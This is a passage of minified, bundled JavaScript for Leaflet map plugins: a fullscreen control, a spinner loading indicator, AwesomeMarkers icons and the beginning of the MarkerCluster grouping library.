t}({},L)},70:()=>{L.Control.Fullscreen=L.Control.extend({options:{position:"topleft",title:{false:"View Fullscreen",true:"Exit Fullscreen"}},onAdd:function(t){var e=L.DomUtil.create("div","leaflet-control-fullscreen leaflet-bar leaflet-control");this.link=L.DomUtil.create("a","leaflet-control-fullscreen-button leaflet-bar-part",e);this.link.href="#";this._map=t;this._map.on("fullscreenchange",this._toggleTitle,this);this._toggleTitle();L.DomEvent.on(this.link,"click",this._click,this);return e},_click:function(t){L.DomEvent.stopPropagation(t);L.DomEvent.preventDefault(t);this._map.toggleFullscreen(this.options)},_toggleTitle:function(){this.link.title=this.options.title[this._map.isFullscreen()]}});L.Map.include({isFullscreen:function(){return this._isFullscreen||false},toggleFullscreen:function(t){var e=this.getContainer();if(this.isFullscreen()){if(t&&t.pseudoFullscreen){this._disablePseudoFullscreen(e)}else if(document.exitFullscreen){document.exitFullscreen()}else if(document.mozCancelFullScreen){document.mozCancelFullScreen()}else if(document.webkitCancelFullScreen){document.webkitCancelFullScreen()}else if(document.msExitFullscreen){document.msExitFullscreen()}else{this._disablePseudoFullscreen(e)}}else{if(t&&t.pseudoFullscreen){this._enablePseudoFullscreen(e)}else if(e.requestFullscreen){e.requestFullscreen()}else if(e.mozRequestFullScreen){e.mozRequestFullScreen()}else if(e.webkitRequestFullscreen){e.webkitRequestFullscreen(Element.ALLOW_KEYBOARD_INPUT)}else if(e.msRequestFullscreen){e.msRequestFullscreen()}else{this._enablePseudoFullscreen(e)}}},_enablePseudoFullscreen:function(t){L.DomUtil.addClass(t,"leaflet-pseudo-fullscreen");this._setFullscreen(true);this.fire("fullscreenchange")},_disablePseudoFullscreen:function(t){L.DomUtil.removeClass(t,"leaflet-pseudo-fullscreen");this._setFullscreen(false);this.fire("fullscreenchange")},_setFullscreen:function(t){this._isFullscreen=t;var e=this.getContainer();if(t){L.DomUtil.addClass(e,"leaflet-fullscreen-on")}else{L.DomUtil.removeClass(e,"leaflet-fullscreen-on")}this.invalidateSize()},_onFullscreenChange:function(t){var e=document.fullscreenElement||document.mozFullScreenElement||document.webkitFullscreenElement||document.msFullscreenElement;if(e===this.getContainer()&&!this._isFullscreen){this._setFullscreen(true);this.fire("fullscreenchange")}else if(e!==this.getContainer()&&this._isFullscreen){this._setFullscreen(false);this.fire("fullscreenchange")}}});L.Map.mergeOptions({fullscreenControl:false});L.Map.addInitHook((function(){if(this.options.fullscreenControl){this.fullscreenControl=new L.Control.Fullscreen(this.options.fullscreenControl);this.addControl(this.fullscreenControl)}var t;if("onfullscreenchange"in document){t="fullscreenchange"}else if("onmozfullscreenchange"in document){t="mozfullscreenchange"}else if("onwebkitfullscreenchange"in document){t="webkitfullscreenchange"}else if("onmsfullscreenchange"in document){t="MSFullscreenChange"}if(t){var e=L.bind(this._onFullscreenChange,this);this.whenReady((function(){L.DomEvent.on(document,t,e)}));this.on("unload",(function(){L.DomEvent.off(document,t,e)}))}}));L.control.fullscreen=function(t){return new L.Control.Fullscreen(t)}},61:(t,e,i)=>{var n,o;(function(s,r){if(true){!(n=[i(57),i(62)],o=function(t,e){s(t,e)}.apply(e,n),o!==undefined&&(t.exports=o))}else{}})((function t(e,i){var n={spin:function(t,e){if(!!t){if(!this._spinner){this._spinner=new i(e).spin(this._container);this._spinning=0}this._spinning++}else{this._spinning--;if(this._spinning<=0){if(this._spinner){this._spinner.stop();this._spinner=null}}}}};var o=function(){this.on("layeradd",(function(t){if(t.layer.loading)this.spin(true);if(typeof t.layer.on!=="function")return;t.layer.on("data:loading",(function(){this.spin(true)}),this);t.layer.on("data:loaded",(function(){this.spin(false)}),this)}),this);this.on("layerremove",(function(t){if(t.layer.loading)this.spin(false);if(typeof t.layer.on!=="function")return;t.layer.off("data:loaded");t.layer.off("data:loading")}),this)};e.Map.include(n);e.Map.addInitHook(o)}),window)},62:function(t,e,i){var n,o;(function(s,r){if(true&&t.exports)t.exports=r();else if(true)!(n=r,o=typeof n==="function"?n.call(e,i,e,t):n,o!==undefined&&(t.exports=o));else{}})(this,(function(){"use strict";var t=["webkit","Moz","ms","O"],e={},i,n;function o(t,e){var i=document.createElement(t||"div"),n;for(n in e)i[n]=e[n];return i}function s(t){for(var e=1,i=arguments.length;e<i;e++){t.appendChild(arguments[e])}return t}function r(t,o,s,r){var a=["opacity",o,~~(t*100),s,r].join("-"),h=.01+s/r*100,l=Math.max(1-(1-t)/o*(100-h),t),u=i.substring(0,i.indexOf("Animation")).toLowerCase(),c=u&&"-"+u+"-"||"";if(!e[a]){n.insertRule("@"+c+"keyframes "+a+"{"+"0%{opacity:"+l+"}"+h+"%{opacity:"+t+"}"+(h+.01)+"%{opacity:1}"+(h+o)%100+"%{opacity:"+t+"}"+"100%{opacity:"+l+"}"+"}",n.cssRules.length);e[a]=1}return a}function a(e,i){var n=e.style,o,s;i=i.charAt(0).toUpperCase()+i.slice(1);if(n[i]!==undefined)return i;for(s=0;s<t.length;s++){o=t[s]+i;if(n[o]!==undefined)return o}}function h(t,e){for(var i in e){t.style[a(t,i)||i]=e[i]}return t}function l(t){for(var e=1;e<arguments.length;e++){var i=arguments[e];for(var n in i){if(t[n]===undefined)t[n]=i[n]}}return t}function u(t,e){return typeof t=="string"?t:t[e%t.length]}var c={lines:12,length:7,width:5,radius:10,scale:1,corners:1,color:"#000",opacity:1/4,rotate:0,direction:1,speed:1,trail:100,fps:20,zIndex:2e9,className:"spinner",top:"50%",left:"50%",shadow:false,hwaccel:false,position:"absolute"};function d(t){this.opts=l(t||{},d.defaults,c)}d.defaults={};l(d.prototype,{spin:function(t){this.stop();var e=this,n=e.opts,s=e.el=o(null,{className:n.className});h(s,{position:n.position,width:0,zIndex:n.zIndex,left:n.left,top:n.top});if(t){t.insertBefore(s,t.firstChild||null)}s.setAttribute("role","progressbar");e.lines(s,e.opts);if(!i){var r=0,a=(n.lines-1)*(1-n.direction)/2,l,u=n.fps,c=u/n.speed,d=(1-n.opacity)/(c*n.trail/100),f=c/n.lines;(function t(){r++;for(var i=0;i<n.lines;i++){l=Math.max(1-(r+(n.lines-i)*f)%c*d,n.opacity);e.opacity(s,i*n.direction+a,l,n)}e.timeout=e.el&&setTimeout(t,~~(1e3/u))})()}return e},stop:function(){var t=this.el;if(t){clearTimeout(this.timeout);if(t.parentNode)t.parentNode.removeChild(t);this.el=undefined}return this},lines:function(t,e){var n=0,a=(e.lines-1)*(1-e.direction)/2,l;function c(t,i){return h(o(),{position:"absolute",width:e.scale*(e.length+e.width)+"px",height:e.scale*e.width+"px",background:t,boxShadow:i,transformOrigin:"left",transform:"rotate("+~~(360/e.lines*n+e.rotate)+"deg) translate("+e.scale*e.radius+"px"+",0)",borderRadius:(e.corners*e.scale*e.width>>1)+"px"})}for(;n<e.lines;n++){l=h(o(),{position:"absolute",top:1+~(e.scale*e.width/2)+"px",transform:e.hwaccel?"translate3d(0,0,0)":"",opacity:e.opacity,animation:i&&r(e.opacity,e.trail,a+n*e.direction,e.lines)+" "+1/e.speed+"s linear infinite"});if(e.shadow)s(l,h(c("#000","0 0 4px #000"),{top:"2px"}));s(t,s(l,c(u(e.color,n),"0 0 1px rgba(0,0,0,.1)")))}return t},opacity:function(t,e,i){if(e<t.childNodes.length)t.childNodes[e].style.opacity=i}});function f(){function t(t,e){return o("<"+t+' xmlns="urn:schemas-microsoft.com:vml" class="spin-vml">',e)}n.addRule(".spin-vml","behavior:url(#default#VML)");d.prototype.lines=function(e,i){var n=i.scale*(i.length+i.width),o=i.scale*2*n;function r(){return h(t("group",{coordsize:o+" "+o,coordorigin:-n+" "+-n}),{width:o,height:o})}var a=-(i.width+i.length)*i.scale*2+"px",l=h(r(),{position:"absolute",top:a,left:a}),c;function d(e,o,a){s(l,s(h(r(),{rotation:360/i.lines*e+"deg",left:~~o}),s(h(t("roundrect",{arcsize:i.corners}),{width:n,height:i.scale*i.width,left:i.scale*i.radius,top:-i.scale*i.width>>1,filter:a}),t("fill",{color:u(i.color,e),opacity:i.opacity}),t("stroke",{opacity:0}))))}if(i.shadow)for(c=1;c<=i.lines;c++){d(c,-2,"progid:DXImageTransform.Microsoft.Blur(pixelradius=2,makeshadow=1,shadowopacity=.3)")}for(c=1;c<=i.lines;c++)d(c);return s(e,l)};d.prototype.opacity=function(t,e,i,n){var o=t.firstChild;n=n.shadow&&n.lines||0;if(o&&e+n<o.childNodes.length){o=o.childNodes[e+n];o=o&&o.firstChild;o=o&&o.firstChild;if(o)o.opacity=i}}}if(typeof document!=="undefined"){n=function(){var t=o("style",{type:"text/css"});s(document.getElementsByTagName("head")[0],t);return t.sheet||t.styleSheet}();var p=h(o("group"),{behavior:"url(#default#VML)"});if(!a(p,"transform")&&p.adj)f();else i=a(p,"animation")}return d}))},66:function(){(function(t,e,i){"use strict";L.AwesomeMarkers={};L.AwesomeMarkers.version="2.0.1";L.AwesomeMarkers.Icon=L.Icon.extend({options:{iconSize:[35,45],iconAnchor:[17,42],popupAnchor:[1,-32],shadowAnchor:[10,12],shadowSize:[36,16],className:"awesome-marker",prefix:"glyphicon",spinClass:"fa-spin",extraClasses:"",icon:"home",markerColor:"blue",iconColor:"white"},initialize:function(t){t=L.Util.setOptions(this,t)},createIcon:function(){var t=e.createElement("div"),i=this.options;if(i.icon){t.innerHTML=this._createInner()}if(i.bgPos){t.style.backgroundPosition=-i.bgPos.x+"px "+-i.bgPos.y+"px"}this._setIconStyles(t,"icon-"+i.markerColor);return t},_createInner:function(){var t,e="",i="",n="",o=this.options;if(o.icon.slice(0,o.prefix.length+1)===o.prefix+"-"){t=o.icon}else{t=o.prefix+"-"+o.icon}if(o.spin&&typeof o.spinClass==="string"){e=o.spinClass}if(o.iconColor){if(o.iconColor==="white"||o.iconColor==="black"){i="icon-"+o.iconColor}else{n="style='color: "+o.iconColor+"' "}}return"<i "+n+"class='"+o.extraClasses+" "+o.prefix+" "+t+" "+e+" "+i+"'></i>"},_setIconStyles:function(t,e){var i=this.options,n=L.point(i[e==="shadow"?"shadowSize":"iconSize"]),o;if(e==="shadow"){o=L.point(i.shadowAnchor||i.iconAnchor)}else{o=L.point(i.iconAnchor)}if(!o&&n){o=n.divideBy(2,true)}t.className="awesome-marker-"+e+" "+i.className;if(o){t.style.marginLeft=-o.x+"px";t.style.marginTop=-o.y+"px"}if(n){t.style.width=n.x+"px";t.style.height=n.y+"px"}},createShadow:function(){var t=e.createElement("div");this._setIconStyles(t,"shadow");return t}});L.AwesomeMarkers.icon=function(t){return new L.AwesomeMarkers.Icon(t)}})(this,document)},63:function(t,e){(function(t,i){true?i(e):0})(this,(function(t){"use strict";var e=L.MarkerClusterGroup=L.FeatureGroup.extend({options:{maxClusterRadius:80,iconCreateFunction:null,clusterPane:L.Marker.prototype.options.pane,spiderfyOnEveryZoom:false,spiderfyOnMaxZoom:true,showCoverageOnHover:true,zoomToBoundsOnClick:true,singleMarkerMode:false,disableClusteringAtZoom:null,removeOutsideVisibleBounds:true,animate:true,animateAddingMarkers:false,spiderfyShapePositions:null,spiderfyDistanceMultiplier:1,spiderLegPolylineOptions:{weight:1.5,color:"#222",opacity:.5},chunkedLoading:false,chunkInterval:200,chunkDelay:50,chunkProgress:null,polygonOptions:{}},initialize:function(t){L.Util.setOptions(this,t);if(!this.options.iconCreateFunction){this.options.iconCreateFunction=this._defaultIconCreateFunction}this._featureGroup=L.featureGroup();this._featureGroup.addEventParent(this);this._nonPointGroup=L.featureGroup();this._nonPointGroup.addEventParent(this);this._inZoomAnimation=0;this._needsClustering=[];this._needsRemoving=[];this._currentShownBounds=null;this._queue=[];this._childMarkerEventHandlers={dragstart:this._childMarkerDragStart,move:this._childMarkerMoved,dragend:this._childMarkerDragEnd};var e=L.DomUtil.TRANSITION&&this.options.animate;L.extend(this,e?this._withAnimation:this._noAnimation);this._markerCluster=e?L.MarkerCluster:L.MarkerClusterNonAnimated},addLayer:function(t){if(t instanceof L.LayerGroup){return this.addLayers([t])}if(!t.getLatLng){this._nonPointGroup.addLayer(t);this.fire("layeradd",{layer:t});return this}if(!this._map){this._needsClustering.push(t);this.fire("layeradd",{layer:t});return this}if(this.hasLayer(t)){return this}if(this._unspiderfy){this._unspiderfy()}this._addLayer(t,this._maxZoom);this.fire("layeradd",{layer:t});this._topClusterLevel._recalculateBounds();this._refreshClustersIcons();var e=t,i=this._zoom;if(t.__parent){while(e.__parent._zoom>=i){e=e.__parent}}if(this._currentShownBounds.contains(e.getLatLng())){if(this.options.animateAddingMarkers){this._animationAddLayer(t,e)}else{this._animationAddLayerNonAnimated(t,e)}}return this},removeLayer:function(t){if(t instanceof L.LayerGroup){return this.removeLayers([t])}if(!t.getLatLng){this._nonPointGroup.removeLayer(t);this.fire("layerremove",{layer:t});return this}if(!this._map){if(!this._arraySplice(this._needsClustering,t)&&this.hasLayer(t)){this._needsRemoving.push({layer:t,latlng:t._latlng})}this.fire("layerremove",{layer:t});return this}if(!t.__parent){return this}if(this._unspiderfy){this._unspiderfy();this._unspiderfyLayer(t)}this._removeLayer(t,true);this.fire("layerremove",{layer:t});this._topClusterLevel._recalculateBounds();this._refreshClustersIcons();t.off(this._childMarkerEventHandlers,this);if(this._featureGroup.hasLayer(t)){this._featureGroup.removeLayer(t);if(t.clusterShow){t.clusterShow()}}return this},addLayers:function(t,e){if(!L.Util.isArray(t)){return this.addLayer(t)}var i=this._featureGroup,n=this._nonPointGroup,o=this.options.chunkedLoading,s=this.options.chunkInterval,r=this.options.chunkProgress,a=t.length,h=0,l=true,u;if(this._map){var c=(new Date).getTime();var d=L.bind((function(){var f=(new Date).getTime();if(this._map&&this._unspiderfy){this._unspiderfy()}for(;h<a;h++){if(o&&h%200===0){var p=(new Date).getTime()-f;if(p>s){break}}u=t[h];if(u instanceof L.LayerGroup){if(l){t=t.slice();l=false}this._extractNonGroupLayers(u,t);a=t.length;continue}if(!u.getLatLng){n.addLayer(u);if(!e){this.fire("layeradd",{layer:u})}continue}if(this.hasLayer(u)){continue}this._addLayer(u,this._maxZoom);if(!e){this.fire("layeradd",{layer:u})}if(u.__parent){if(u.__parent.getChildCount()===2){var _=u.__parent.getAllChildMarkers(),m=_[0]===u?_[1]:_[0];i.removeLayer(m)}}}if(r){r(h,a,(new Date).getTime()-c)}if(h===a){this._topClusterLevel._recalculateBounds();this._refreshClustersIcons();this._topClusterLevel._recursivelyAddChildrenToMap(null,this._zoom,this._currentShownBounds)}else{setTimeout(d,this.options.chunkDelay)}}),this);d()}else{var f=this._needsClustering;for(;h<a;h++){u=t[h];if(u instanceof L.LayerGroup){if(l){t=t.slice();l=false}this._extractNonGroupLayers(u,t);a=t.length;continue}if(!u.getLatLng){n.addLayer(u);continue}if(this.hasLayer(u)){continue}f.push(u)}}return this},removeLayers:function(t){var e,i,n=t.length,o=this._featureGroup,s=this._nonPointGroup,r=true;if(!this._map){for(e=0;e<n;e++){i=t[e];if(i instanceof L.LayerGroup){if(r){t=t.slice();r=false}this._extractNonGroupLayers(i,t);n=t.length;continue}this._arraySplice(this._needsClustering,i);s.removeLayer(i);if(this.hasLayer(i)){this._needsRemoving.push({layer:i,latlng:i._latlng})}this.fire("layerremove",{layer:i})}return this}if(this._unspiderfy){this._unspiderfy();var a=t.slice(),h=n;for(e=0;e<h;e++){i=a[e];if(i instanceof L.LayerGroup){this._extractNonGroupLayers(i,a);h=a.length;continue}this._unspiderfyLayer(i)}}for(e=0;e<n;e++){i=t[e];if(i instanceof L.LayerGroup){if(r){t=t.slice();r=false}this._extractNonGroupLayers(i,t);n=t.length;continue}if(!i.__parent){s.removeLayer(i);this.fire("layerremove",{layer:i});continue}this._removeLayer(i,true,true);this.fire("layerremove",{layer:i});if(o.hasLayer(i)){o.removeLayer(i);if(i.clusterShow){i.clusterShow()}}}this._topClusterLevel._recalculateBounds();this._refreshClustersIcons();this._topClusterLevel._recursivelyAddChildrenToMap(null,this._zoom,this._currentShownBounds);return this},clearLayers:function(){if(!this._map){this._needsClustering=[];this._needsRemoving=[];delete this._gridClusters;delete this._gridUnclustered}if(this._noanimationUnspiderfy){this._noanimationUnspiderfy()}this._featureGroup.clearLayers();this._nonPointGroup.clearLayers();this.eachLayer((function(t){t.off(this._childMarkerEventHandlers,this);delete t.__parent}),this);if(this._map){this._generateInitialClusters()}return this},getBounds:function(){var t=new L.LatLngBounds;if(this._topClusterLevel){t.extend(this._topClusterLevel._bounds)}for(var e=this._needsClustering.length-1;e>=0;e--){t.extend(this._needsClustering[e].getLatLng())}t.extend(this._nonPointGroup.getBounds());return t},eachLayer:function(t,e){var i=this._needsClustering.slice(),n=this._needsRemoving,o,s,r;if(this._topClusterLevel){this._topClusterLevel.getAllChildMarkers(i)}for(s=i.length-1;s>=0;s--){o=true;for(r=n.length-1;r>=0;r--){if(n[r].layer===i[s]){o=false;break}}if(o){t.call(e,i[s])}}this._nonPointGroup.eachLayer(t,e)},getLayers:function(){var t=[];this.eachLayer((function(e){t.push(e)}));return t},getLayer:function(t){var e=null;t=parseInt(t,10);this.eachLayer((function(i){if(L.stamp(i)===t){e=i}}));return e},hasLayer:function(t){if(!t){return false}var e,i=this._needsClustering;for(e=i.length-1;e>=0;e--){if(i[e]===t){return true}}i=this._needsRemoving;for(e=i.length-1;e>=0;e--){if(i[e].layer===t){return false}}return!!(t.__parent&&t.__parent._group===this)||this._nonPointGroup.hasLayer(t)},zoomToShowLayer:function(t,e){var i=this._map;if(typeof e!=="function"){e=function(){}}var n=function(){if((i.hasLayer(t)||i.hasLayer(t.__parent))&&!this._inZoomAnimation){this._map.off("moveend",n,this);this.off("animationend",n,this);if(i.hasLayer(t)){e()}else if(t.__parent._icon){this.once("spiderfied",e,this);t.__parent.spiderfy()}}};if(t._icon&&this._map.getBounds().contains(t.getLatLng())){e()}else if(t.__parent._zoom<Math.round(this._map._zoom)){this._map.on("moveend",n,this);this._map.panTo(t.getLatLng())}else{this._map.on("moveend",n,this);this.on("animationend",n,this);t.__parent.zoomToBounds()}},onAdd:function(t){this._map=t;var e,i,n;if(!isFinite(this._map.getMaxZoom())){throw"Map has no maxZoom specified"}this._featureGroup.addTo(t);this._nonPointGroup.addTo(t);if(!this._gridClusters){this._generateInitialClusters()}this._maxLat=t.options.crs.projection.MAX_LATITUDE;for(e=0,i=this._needsRemoving.length;e<i;e++){n=this._needsRemoving[e];n.newlatlng=n.layer._latlng;n.layer._latlng=n.latlng}for(e=0,i=this._needsRemoving.length;e<i;e++){n=this._needsRemoving[e];this._removeLayer(n.layer,true);n.layer._latlng=n.newlatlng}this._needsRemoving=[];this._zoom=Math.round(this._map._zoom);this._currentShownBounds=this._getExpandedVisibleBounds();this._map.on("zoomend",this._zoomEnd,this);this._map.on("moveend",this._moveEnd,this);if(this._spiderfierOnAdd){this._spiderfierOnAdd()}this._bindEvents();i=this._needsClustering;this._needsClustering=[];this.addLayers(i,true)},onRemove:function(t){t.off("zoomend",this._zoomEnd,this);t.off("moveend",this._moveEnd,this);this._unbindEvents();this._map._mapPane.className=this._map._mapPane.className.replace(" leaflet-cluster-anim","");if(this._spiderfierOnRemove){this._spiderfierOnRemove()}delete this._maxLat;this._hideCoverage();this._featureGroup.remove();this._nonPointGroup.remove();this._featureGroup.clearLayers();this._map=null},getVisibleParent:function(t){var e=t;while(e&&!e._icon){e=e.__parent}return e||null},_arraySplice:function(t,e){for(var i=t.length-1;i>=0;i--){if(t[i]===e){t.splice(i,1);return true}}},_removeFromGridUnclustered:function(t,e){var i=this._map,n=this._gridUnclustered,o=Math.floor(this._map.getMinZoom());for(;e>=o;e--){if(!n[e].removeObject(t,i.project(t.getLatLng(),e))){break}}},_childMarkerDragStart:function(t){t.target.__dragStart=t.target._latlng},_childMarkerMoved:function(t){if(!this._ignoreMove&&!t.target.__dragStart){var e=t.target._popup&&t.target._popup.isOpen();this._moveChild(t.target,t.oldLatLng,t.latlng);if(e){t.target.openPopup()}}},_moveChild:function(t,e,i){t._latlng=e;this.removeLayer(t);t._latlng=i;this.addLayer(t)},_childMarkerDragEnd:function(t){var e=t.target.__dragStart;delete t.target.__dragStart;if(e){this._moveChild(t.target,e,t.target._latlng)}},_removeLayer:function(t,e,i){var n=this._gridClusters,o=this._gridUnclustered,s=this._featureGroup,r=this._map,a=Math.floor(this._map.getMinZoom());if(e){this._removeFromGridUnclustered(t,this._maxZoom)}var h=t.__parent,l=h._markers,u;this._arraySplice(l,t);while(h){h._childCount--;h._boundsNeedUpdate=true;if(h._zoom<a){break}else if(e&&h._childCount<=1){u=h._markers[0]===t?h._markers[1]:h._markers[0];n[h._zoom].removeObject(h,r.project(h._cLatLng,h._zoom));o[h._zoom].addObject(u,r.project(u.getLatLng(),h._zoom));this._arraySplice(h.__parent._childClusters,h);h.__parent._markers.push(u);u.__parent=h.__parent;if(h._icon){s.removeLayer(h);if(!i){s.addLayer(u)}}}else{h._iconNeedsUpdate=true}h=h.__parent}delete t.__parent},_isOrIsParent:function(t,e){while(e){if(t===e){return true}e=e.parentNode}return false},fire:function(t,e,i){if(e&&e.layer instanceof L.MarkerCluster){if(e.originalEvent&&this._isOrIsParent(e.layer._icon,e.originalEvent.relatedTarget)){return}t="cluster"+t}L.FeatureGroup.prototype.fire.call(this,t,e,i)},listens:function(t,e){return L.FeatureGroup.prototype.listens.call(this,t,e)||L.FeatureGroup.prototype.listens.call(this,"cluster"+t,e)},_defaultIconCreateFunction:function(t){var e=t.getChildCount();var i=" marker-cluster-";if(e<10){i+="small"}else if(e<100){i+="medium"}else{i+="large"}return new L.DivIcon({html:"<div><span>"+e+"</span></div>",className:"marker-cluster"+i,iconSize:new L.Point(40,40)})},_bindEvents:function(){var t=this._map,e=this.options.spiderfyOnMaxZoom,i=this.options.showCoverageOnHover,n=this.options.zoomToBoundsOnClick,o=this.options.spiderfyOnEveryZoom;if(e||n||o){this.on("clusterclick clusterkeypress",this._zoomOrSpiderfy,this)}if(i){this.on("clustermouseover",this._showCoverage,this);this.on("clustermouseout",this._hideCoverage,this);t.on("zoomend",this._hideCoverage,this)}},_zoomOrSpiderfy:function(t){var e=t.layer,i=e;if(t.type==="clusterkeypress"&&t.originalEvent&&t.originalEvent.keyCode!==13){return}while(i._childClusters.length===1){i=i._childClusters[0]}if(i._zoom===this._maxZoom&&i._childCount===e._childCount&&this.options.spiderfyOnMaxZoom){e.spiderfy()}else if(this.options.zoomToBoundsOnClick){e.zoomToBounds()}if(this.options.spiderfyOnEveryZoom){e.spiderfy()}if(t.originalEvent&&t.originalEvent.keyCode===13){this._map._container.focus()}},_showCoverage:function(t){var e=this._map;if(this._inZoomAnimation){return}if(this._shownPolygon){e.removeLayer(this._shownPolygon)}if(t.layer.getChildCount()>2&&t.layer!==this._spiderfied){this._shownPolygon=new L.Polygon(t.layer.getConvexHull(),this.options.polygonOptions);e.addLayer(this._shownPolygon)}},_hideCoverage:function(){if(this._shownPolygon){this._map.removeLayer(this._shownPolygon);this._shownPolygon=null}},_unbindEvents:function(){var t=this.options.spiderfyOnMaxZoom,e=this.options.showCoverageOnHover,i=this.options.zoomToBoundsOnClick,n=this.options.spiderfyOnEveryZoom,o=this._map;if(t||i||n){this.off("clusterclick clusterkeypress",this._zoomOrSpiderfy,this)}if(e){this.off("clustermouseover",this._showCoverage,this);this.off("clustermouseout",this._hideCoverage,this);o.off("zoomend",this._hideCoverage,this)}},_zoomEnd:function(){if(!this._map){return}this._mergeSplitClusters();this._zoom=Math.round(this._map._zoom);this._currentShownBounds=this._getExpandedVisibleBounds()},_moveEnd:function(){if(this._inZoomAnimation){return}var t=this._getExpandedVisibleBounds();this._topClusterLevel._recursivelyRemoveChildrenFromMap(this._currentShownBounds,Math.floor(this._map.getMinZoom()),this._zoom,t);this._topClusterLevel._recursivelyAddChildrenToMap(null,Math.round(this._map._zoom),t);this._currentShownBounds=t;return},_generateInitialClusters:function(){var t=Math.ceil(this._map.getMaxZoom()),e=Math.floor(this._map.getMinZoom()),i=this.options.maxClusterRadius,n=i;if(typeof i!=="function"){n=function(){return i}}if(this.options.disableClusteringAtZoom!==null){t=this.options.disableClusteringAtZoom-1}this._maxZoom=t;this._gridClusters={};this._gridUnclustered={};for(var o=t;o>=e;o--){this._gridClusters[o]=new L.DistanceGrid(n(o));this._gridUnclustered[o]=new L.DistanceGrid(n(o))}this._topClusterLevel=new this._markerCluster(this,e-1)},_addLayer:function(t,e){var i=this._gridClusters,n=this._gridUnclustered,o=Math.floor(this._map.getMinZoom()),s,r;if(this.options.singleMarkerMode){this._overrideMarkerIcon(t)}t.on(this._childMarkerEventHandlers,this);for(;e>=o;e--){s=this._map.project(t.getLatLng(),e);var a=i[e].getNearObject(s);if(a){a._addChild(t);t.__parent=a;return}a=n[e].getNearObject(s);if(a){var h=a.__parent;if(h){this._removeLayer(a,false)}var l=new this._markerCluster(this,e,a,t);i[e].addObject(l,this._map.project(l._cLatLng,e));a.__parent=l;t.__parent=l;var u=l;for(r=e-1;r>h._zoom;r--){u=new this._markerCluster(this,r,u);i[r].addObject(u,this._map.project(a.getLatLng(),r))}h._addChild(u);this._removeFromGridUnclustered(a,e);return}n[e].addObject(t,s)}this._topClusterLevel._addChild(t);t.__parent=this._topClusterLevel;return},_refreshClustersIcons:function(){this._featureGroup.eachLayer((function(t){if(t instanceof L.MarkerCluster&&t._iconNeedsUpdate){t._updateIcon()}}))},_enqueue:function(t){this._queue.push(t);if(!this._queueTimeout){this._queueTimeout=setTimeout(L.bind(this._processQueue,this),300)}},_processQueue:function(){for(var t=0;t<this._queue.length;t++){this._queue[t].call(this)}this._queue.length=0;clearTimeout(this._queueTimeout);this._queueTimeout=null},_mergeSplitClusters:function(){var t=Math.round(this._map._zoom);this._processQueue();if(this._zoom<t&&this._currentShownBounds.intersects(this._getExpandedVisibleBounds())){this._animationStart();this._topClusterLevel._recursivelyRemoveChildrenFromMap(this._currentShownBounds,Math.floor(this._map.getMinZoom()),this._zoom,this._getExpandedVisibleBounds());this._animationZoomIn(this._zoom,t)}else if(this._zoom>t){this._animationStart();this._animationZoomOut(this._zoom,t)}else{this._moveEnd()}},_getExpandedVisibleBounds:function(){if(!this.options.removeOutsideVisibleBounds){return this._mapBoundsInfinite}else if(L.Browser.mobile){return this._checkBoundsMaxLat(this._map.getBounds())}return this._checkBoundsMaxLat(this._map.getBounds().pad(1))},_checkBoundsMaxLat:function(t){var e=this._maxLat;if(e!==undefined){if(t.getNorth()>=e){t._northEast.lat=Infinity}if(t.getSouth()<=-e){t._southWest.lat=-Infinity}}return t},_animationAddLayerNonAnimated:function(t,e){if(e===t){this._featureGroup.addLayer(t)}else if(e._childCount===2){e._addToMap();var i=e.getAllChildMarkers();this._featureGroup.removeLayer(i[0]);this._featureGroup.removeLayer(i[1])}else{e._updateIcon()}},_extractNonGroupLayers:function(t,e){var i=t.getLayers(),n=0,o;e=e||[];for(;n<i.length;n++){o=i[n];if(o instanceof L.LayerGroup){this._extractNonGroupLayers(o,e);continue}e.push(o)}return e},_overrideMarkerIcon:function(t){var e=t.options.icon=this.options.iconCreateFunction({getChildCount:function(){return 1},getAllChildMarkers:function(){return[t]}});return e}});L.MarkerClusterGroup.include({_mapBoundsInfinite:new L.LatLngBounds(new L.LatLng(-Infinity,-Infinity),new L.LatLng(Infinity,Infinity))});L.MarkerClusterGroup.include({_noAnimation:{_animationStart:function(){},_animationZoomIn:function(t,e){this._topClusterLevel._recursivelyRemoveChildrenFromMap(this._currentShownBounds,Math.floor(this._map.getMinZoom()),t);this._topClusterLevel._recursivelyAddChildrenToMap(null,e,this._getExpandedVisibleBounds());this.fire("animationend")},_animationZoomOut:function(t,e){this._topClusterLevel._recursivelyRemoveChildrenFromMap(this._currentShownBounds,Math.floor(this._map.getMinZoom()),t);this._topClusterLevel._recursivelyAddChildrenToMap(null,e,this._getExpandedVisibleBounds());this.fire("animationend")},_animationAddLayer:function(t,e){this._animationAddLayerNonAnimated(t,e)}},_withAnimation:{_animationStart:function(){this._map._mapPane.className+=" leaflet-cluster-anim";this._inZoomAnimation++},_animationZoomIn:function(t,e){var i=this._getExpandedVisibleBounds(),n=this._featureGroup,o=Math.floor(this._map.getMinZoom()),s;this._ignoreMove=true;this._topClusterLevel._recursively(i,t,o,(function(o){var r=o._latlng,a=o._markers,h;if(!i.contains(r)){r=null}if(o._isSingleParent()&&t+1===e){n.removeLayer(o);o._recursivelyAddChildrenToMap(null,e,i)}else{o.clusterHide();o._recursivelyAddChildrenToMap(r,e,i)}for(s=a.length-1;s>=0;s--){h=a[s];if(!i.contains(h._latlng)){n.removeLayer(h)}}}));this._forceLayout();this._topClusterLevel._recursivelyBecomeVisible(i,e);n.eachLayer((function(t){if(!(t instanceof L.MarkerCluster)&&t._icon){t.clusterShow()}}));this._topClusterLevel._recursively(i,t,e,(function(t){t._recursivelyRestoreChildPositions(e)}));this._ignoreMove=false;this._enqueue((function(){this._topClusterLevel._recursively(i,t,o,(function(t){n.removeLayer(t);t.clusterShow()}));this._animationEnd()}))},_animationZoomOut:function(t,e){this._animationZoomOutSingle(this._topClusterLevel,t-1,e);this._topClusterLevel._recursivelyAddChildrenToMap(null,e,this._getExpandedVisibleBounds());this._topClusterLevel._recursivelyRemoveChildrenFromMap(this._currentShownBounds,Math.floor(this._map.getMinZoom()),t,this._getExpandedVisibleBounds())},_animationAddLayer:function(t,e){var i=this,n=this._featureGroup;n.addLayer(t);if(e!==t){if(e._childCount>2){e._updateIcon();this._forceLayout();this._animationStart();t._setPos(this._map.latLngToLayerPoint(e.getLatLng()));t.clusterHide();this._enqueue((function(){n.removeLayer(t);t.clusterShow();i._animationEnd()}))}else{this._forceLayout();i._animationStart();i._animationZoomOutSingle(e,this._map.getMaxZoom(),this._zoom)}}}},_animationZoomOutSingle:function(t,e,i){var 